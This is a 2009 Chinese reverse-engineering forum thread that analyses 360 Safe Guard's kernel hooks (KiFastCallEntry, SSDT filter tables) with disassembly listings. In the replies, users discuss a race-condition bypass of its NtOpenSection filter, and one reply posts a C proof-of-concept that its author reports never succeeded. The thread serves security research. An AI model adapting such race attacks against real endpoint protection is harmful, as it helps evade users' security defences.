首页
社区
课程
招聘
[原创]分析了一下360安全卫士的HOOK(二)——架构与实现
发表于: 2009-10-14 21:13 12355

[原创]分析了一下360安全卫士的HOOK(二)——架构与实现

2009-10-14 21:13
12355

Author:achillis
blog  :http://hi.baidu.com/_achillis

上一篇的分析中漏掉了三个函数,现补上:
NtSetSystemInformation                0x24       
ProcessNotify                                0x45 //这个并非Hook,只是HookPort安装的一个Notify
KeUserModeCallback                        0x4B
这样一共是从0到0x4B,共0x4C个过滤函数,齐了~~

上次先列出了360所hook的系统服务,让大家对它做了什么有了一些了解。这次分析的重点是360的KiFastCallEntry钩子安装全过程,更为重点的是360这样一个安全软件,是如何理好地处理好这众全多的Hook,即我所谓的“架构”问题。

一、准备工作
(1)准备要Hook的系统服务的服务号ServiceIndex,对于导出的服务,采用获取Zw*函数地址后再取服务号的方法,这个想必大家都很熟悉。未导出的,则根据不同系统版本,采用硬编码的方法。
(2)准备缓冲区,存放原始服务例程地址、过滤开关、代理函数地址等,记为ServiceFilterInfoTable,这些都是HOOK中要使用到的数据。
HookPort.sys申请了一块很大的内存用于存放这些数据,该内存大小为0x5DDC=6007*4=(6006+1)*4,为什么这么写呢?因为它实际上是下面一个结构:

typedef struct _SERVICE_FILTER_INFO_TABLE{
ULONG SSDTCnt;
ULONG SavedSSDTServiceAddress[1001];		//起始偏移0001*4,保存被Hook的SSDT函数的地址
ULONG ProxySSDTServiceAddress[1001];		//起始偏移1002*4,保存被Hook的SSDT函数对应的代理函数的地址
ULONG SavedShadowSSDTServiceAddress[1001];	//起始偏移2003*4,保存被Hook的ShadowSSDT函数的地址
ULONG ProxyShadowSSDTServiceAddress[1001];	//起始偏移3004*4,保存被Hook的ShadowSSDT函数对应的代理函数的地址
ULONG SwitchTableForSSDT[1001];				//起始偏移4005*4,保存SSDT Hook开关,决定该函数是否会被Hook
ULONG SwitchTableForShadowSSDT[1001];		//起始偏移5006*4,保存ShadowSSDT Hook开关,决定该函数是否会被Hook
}SERVICE_FILTER_INFO_TABLE;

#define FILTERFUNCNT 0x4C //过滤函数的个数
typedef struct _FILTERFUN_RULE_TABLE{
ULONG bSize; //本结构的大小,为0x144=0x51*4=(0x4C+5)*4=(FILTERFUNCNT+5)*4
ULONG Unknown1; //未明确
ULONG IsFilterFunFilledReady; 			//标志,表明过滤函数表是否准备好
ULONG FakeServiceRoutine[FILTERFUNCNT]	//偏移为0xC,过滤函数数组,共有过滤函数0x4C个
PULONG SSDTRuleTableBase;  				//偏移为0x13C,是SSDT函数的过滤规则表,表的大小为SSDTCnt*4
PULONG ShadowSSDTRuleTableBase; 		//偏移为0x140,是ShadowSSDT函数的过滤规则表,表的大小为ShadowSSDTCnt*4
}FILTERFUN_RULE_TABLE;
kd> 
8053d7e4 8b5f0c          mov     ebx,dword ptr [edi+0Ch] //edi指向SSDT或ShadowSSDT
8053d7e7 33c9            xor     ecx,ecx //ecx清零
8053d7e9 8a0c18          mov     cl,byte ptr [eax+ebx]  //cl得到参数的长度,即参数个数*4
8053d7ec 8b3f            mov     edi,dword ptr [edi] //edi指向KiServiceTable或W32pServiceTable
8053d7ee 8b1c87          mov     ebx,dword ptr [edi+eax*4] //eax是服务号,然后ebx得到服务函数地址
8053d7f1 2be1            sub     esp,ecx //ecx得到参数的总长度,这里是开辟栈空间
8053d7f3 c1e902          shr     ecx,2 		//除以4,得参数个数
8053d7f6 8bfc            mov     edi,esp 	//准备复制参数
8053d7f8 3b35b48b5580    cmp     esi,dword ptr [nt!MmUserProbeAddress (80558bb4)] //判断参数地址是否有效
8053d7fe 0f83a8010000    jae     nt!KiSystemCallExit2+0x9f (8053d9ac)
8053d804 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] //复制参数
8053d806 ffd3            call    ebx //调用系统服务
kd> 
nt!KiFastCallEntry+0xcc:
8053d7dc ff0538f6dfff    inc     dword ptr ds:[0FFDFF638h]
8053d7e2 8bf2            mov     esi,edx
8053d7e4 8b5f0c          mov     ebx,dword ptr [edi+0Ch]
8053d7e7 33c9            xor     ecx,ecx
8053d7e9 8a0c18          mov     cl,byte ptr [eax+ebx]
8053d7ec 8b3f            mov     edi,dword ptr [edi]
8053d7ee 8b1c87          mov     ebx,dword ptr [edi+eax*4]
8053d7f1 e94a49e901      jmp     823d2140  //这里被改成了一个跳转
8053d7f6 8bfc            mov     edi,esp
8053d7f8 3b35b48b5580    cmp     esi,dword ptr [nt!MmUserProbeAddress (80558bb4)]
8053d7fe 0f83a8010000    jae     nt!KiSystemCallExit2+0x9f (8053d9ac)
8053d804 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
8053d806 ffd3            call    ebx
8053d808 8be5            mov     esp,ebp
8053d80a 8b0d24f1dfff    mov     ecx,dword ptr ds:[0FFDFF124h]
8053d810 8b553c          mov     edx,dword ptr [ebp+3Ch]
kd> u 823d2140
823d2140 e95d982a76      jmp     Hookport+0x79a2 (f867b9a2)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (17)
雪    币: 251
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
如果一切照你所述,判断返回值失败直接放行是个漏洞,可用多线程同步方式攻击。
有时失败仅仅是因为返回值无法写入。
2009-10-14 21:25
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
3
分析得不错。

另外,楼上不要不经测试就YY吧,多线程同步攻击实际成功率很低,呵呵,同时需要找到一个很巧妙的点,例如NtOpenSection这个就不行。绝大部分需要返回有价值数据的函数的API,返回失败时,都不会成功返回数据,引发攻击,例如OpenProcess/Thread等,若返回失败,RING3程序就不会去close这个句柄,岂非会造成泄漏?呵呵。

当然多线程攻击可以用于在一些比较巧妙的位置,对于那些仅对输入感兴趣或主要对输入感兴趣的函数做攻击,只是成功率非常低,可能你狂开线程调API,等到花儿都谢了也没有把你BREAK出去,这跟配置还有点关系~同时你可以看看源码,微软的Nt*函数基本都考虑到了这个问题。对于第三方的安全软件,防御则不可能做到滴水不漏,与其用笨重、成功率低的多线程参数欺骗,还不如找一些更效的点。。
2009-10-14 22:08
0
雪    币: 225
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
敢问楼主到底是何方神圣?真NB。。。
2009-10-14 22:31
0
雪    币: 146
活跃值: (33)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
5
现在还不怎么看的懂,支持教主
2009-10-14 22:36
0
雪    币: 251
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
    HANDLE Handle;
    KPROCESSOR_MODE PreviousMode;
    NTSTATUS Status;

    PAGED_CODE();
    //
    // Get previous processor mode and probe output arguments if necessary.
    //

    PreviousMode = KeGetPreviousMode();
    if (PreviousMode != KernelMode) {
        try {
            ProbeForWriteHandle(SectionHandle);
        } except (EXCEPTION_EXECUTE_HANDLER) {
            return GetExceptionCode();
        }
    }

    //
    // Open handle to the section object with the specified desired
    // access.
    //

    Status = ObOpenObjectByName (ObjectAttributes,
                                 MmSectionObjectType,
                                 PreviousMode,
                                 NULL,
                                 DesiredAccess,
                                 NULL,
                                 &Handle);

    try {
        [COLOR="sienna"]*SectionHandle = Handle;[/COLOR]
    } except (EXCEPTION_EXECUTE_HANDLER) {
        return Status;
    }

    return Status;

*SectionHandle = Handle;
有这句在肯定可以攻击,只是掐时间不太容易而已
单CPU可以这样,设置两个线程优先级为17,16,
优先级为17的先运行,yield一个时间片,给优先级16的耗时间到差不多,然后执行NtOpenSection,执行到一半,时间片完,轮到优先级17的把SectionHandle 所在的内存废掉。
然后问题只是找到Handle,而一般handle很容易找到
2009-10-14 22:50
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
7
楼上这个想法很有意思,打时间差,可行性到底如何?
2009-10-14 23:03
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
8
找handle确实可以,这点是我疏忽了。
掐时间确实不容易, 理论上可行,实际上。。。楼上可以试试,成功率非常低,可能你的程序要100%CPU运行3个月才能成功攻击。类似的攻击此前我试过一次,在我的2GHZ测试机上跑一个星期,没出结果,放弃了~~
2009-10-14 23:04
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
9
楼主实在是太强大了,只能膜拜了
2009-10-14 23:12
0
雪    币: 615
活跃值: (1212)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
Shin Seiki Evangerion.
2009-10-14 23:35
0
雪    币: 251
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
你的方法太善良了,也许下面这种方法不适合测试的那个函数
要增加NtOpenSection的运行时间,
只要让程序不停缺页读硬盘就行了
NtOpenSection有个指针参数ObjectAttributes
衍生出另几个指针
OBJECT_ATTRIBUTES
OBJECT_ATTRIBUTES->ObjectName
OBJECT_ATTRIBUTES->ObjectName->Buffer
SecurityDescriptor
这样读上4,5次硬盘,恐怕一个时间片也就差不多了
2009-10-15 00:22
0
雪    币: 251
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
更有可能第一次从硬盘调页就重新调度线程了
2009-10-15 00:29
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
13
无BIN无真相,再怎么YY也只是YY而已,实践你就会遇到问题了

这种攻击技术很早以前我就想过了,当时也想当然地认为成功率不会低,实际操作一下才知道是什么结果

为了让楼上信服,我写了个程序来验证楼上的猜想

在我的2GHZ双核机器上(VISTA SP2),100% CPU运行了20分钟,进行了100万次测试,结果是无法达成攻击。

楼主如果对我这个代码的实现(例如uniname 没有page out , 抱歉我不知道怎么在RING3下主动PAGE OUT 内存。。。哈哈,楼上显然想得太简单,你又要多次访问这个地址,又要它PAGE OUT,怎么可能呢,还“硬盘调度几次”。。一次都调度不了。。, 例如干扰线程的处理),或者是对我运行的时间(也许楼上觉得需要运行一个星期或一个月)有什么异议,都可以做出修改,然后自己测试一下~

以下是代码(因为VISTA上打不开物理内存对象,所以用了一个kernel32.dll的knowndlls section来代替,没什么区别):

UNICODE_STRING uniname = RTL_CONSTANT_STRING(L"\\KnownDlls\\kernel32.dll");

void Feidiaoneicun(PVOID pNeicun)
{
	ULONG oldp ;
//备注:尝试了几次修改线程优先级,没什么效果,系统调度还是比较复杂,光靠在RING3瞎猜,还是很难把握。	

	while(TRUE)
	{
		//先把内存改为不可写,这样若在写入section handle时,就会失败
		VirtualProtect(pNeicun , 0x1000 , PAGE_READONLY , &oldp);
		Sleep(0);
		//把内存改为可写,这样可过probeforwrite
		VirtualProtect(pNeicun , 0x1000 , PAGE_READWRITE , &oldp);
		Sleep(0);
	}
	return ; 
}
int main(int argc, char* argv[])
{
	HMODULE hmod = LoadLibrary("ntdll.dll");
	PVOID pOpen = GetProcAddress(hmod , "NtOpenSection");
	PVOID pQuery = GetProcAddress(hmod , "NtQueryObject");
	PHANDLE pSecHandle = (PHANDLE)malloc(0x4000);
	PVOID pNameBuff = malloc(0x1000);
	OBJECT_ATTRIBUTES oba ; 
	ULONG HandleCount ; 

	//获取初始化的句柄个数
	GetProcessHandleCount(GetCurrentProcess() , &HandleCount);
	ULONG times = 0 ; 
	

	InitializeObjectAttributes(&oba , &uniname , 0 , 0 ,0  );

	ULONG tid ; 

	//创建干扰线程
	HANDLE hThread = CreateThread(0 , 0 , (LPTHREAD_START_ROUTINE)Feidiaoneicun ,pSecHandle, 0 , &tid);
	
	CloseHandle(hThread);

	printf("init handle value = %u\n" , HandleCount);
	getchar();

	while(TRUE)
	{
		printf("try %u\n" , times);
		LONG stat ; 
		ULONG newhandlecount ;

		//调用API
		__asm
		{
			lea eax ,oba
			push eax
			push 4
			push pSecHandle
			call pOpen
			mov stat , eax
		}

		//获取新的句柄个数
		GetProcessHandleCount(GetCurrentProcess() , &newhandlecount);

		HANDLE handlevalue = *pSecHandle ; 
		printf("stat = %08x SectionHandle = %x HandleCount = %x\n" , stat , handlevalue , newhandlecount);


		//如果成功了,那么关闭打开的句柄
		if (stat == 0 )
		{
			//getchar();
		

			CloseHandle(handlevalue);
		}
		//如果不成功,但是handlecount发生了变化,那么说明有新的句柄产生
		
		//这可能是多线程攻击成功了,也可能是系统触发了一个句柄的增加
		
		//我们检查所有的句柄,看新增的里有没有我们想要的

		else if (newhandlecount != HandleCount)
		{
			ULONG i ; 
			ULONG retlen ; 
			ULONG handlequeryed = 0 ; 
			for (i = 4 ; i < 0xffffffff ; i +=4)
			{

				__asm
				{
					lea eax ,retlen 
					push eax
					push 0x1000
					push pNameBuff
					push 1
					push i 
					call pQuery
					mov stat , eax
				}
				//zwquery object 取名字
				if (stat == 0)
				{
					PUNICODE_STRING pUniName = (PUNICODE_STRING)pNameBuff;
					//存在了

					if (pUniName->Buffer && wcsnicmp(pUniName->Buffer , uniname.Buffer , uniname.Length / sizeof(WCHAR)) == 0 )
					{
						printf("get it\n");
						getchar();
					}
					
					//增加已获得句柄值
					handlequeryed ++ ;
				}
				//如果句柄不是无效(失败的可能还有object 无法query name等)
				else if (stat != 0xc0000008)
				{
					//也增加已获得句柄值
					handlequeryed ++ ; 
					
				}
				//都检查过了,break
				if (handlequeryed == newhandlecount)
				{
					break ; 
				}

			}
			//保存新的句柄值了
			HandleCount = newhandlecount ; 
		}
		times++;

	}
	return 0;
}




基本上运行结果,要么是进入API前,到检查开始过程中,内存始终是无效的,或者是进入API前,到完成API后(包括写入SECTION HANDLE),都是有效的~
2009-10-15 02:13
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
14
顺便说一下,晚上看了刑房系列的恐怖星球,非常不错,比同系列的金刚不坏要爽。。推荐一下
2009-10-15 03:55
0
雪    币: 251
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
主动pageout 当然不太可能,但是可执行文件或者Memory Mapped File是从硬盘延迟载入的,(前提是内存中没有这些内容的缓存)。
弄个较大的可执行文件,比如单独把某个数据放在一个孤立的位置,保证附近至少64k没有任何其他数据,由于Prefetch之类的因素,可能还要更大,肯定可以做到第一次访问时发生缺页。
2009-10-15 08:11
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
16
prefetch?我还readyboost呢!你第一次调度磁盘就能轮到你执行了?以后你还能构建pageou吗?都跟你说不要再YY了。你要是有诚意,就把代码和测试结果贴出来。好歹也尊重一下我帮你的YY的劳动成果,否则就闭嘴!
2009-10-15 09:09
0
雪    币: 268
活跃值: (40)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
17
文章太精彩了,期待下一篇
2009-10-15 09:30
0
雪    币: 232
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
跟着各位牛人学习
2009-10-15 10:09
0
游客
登录 | 注册 方可回帖
返回
//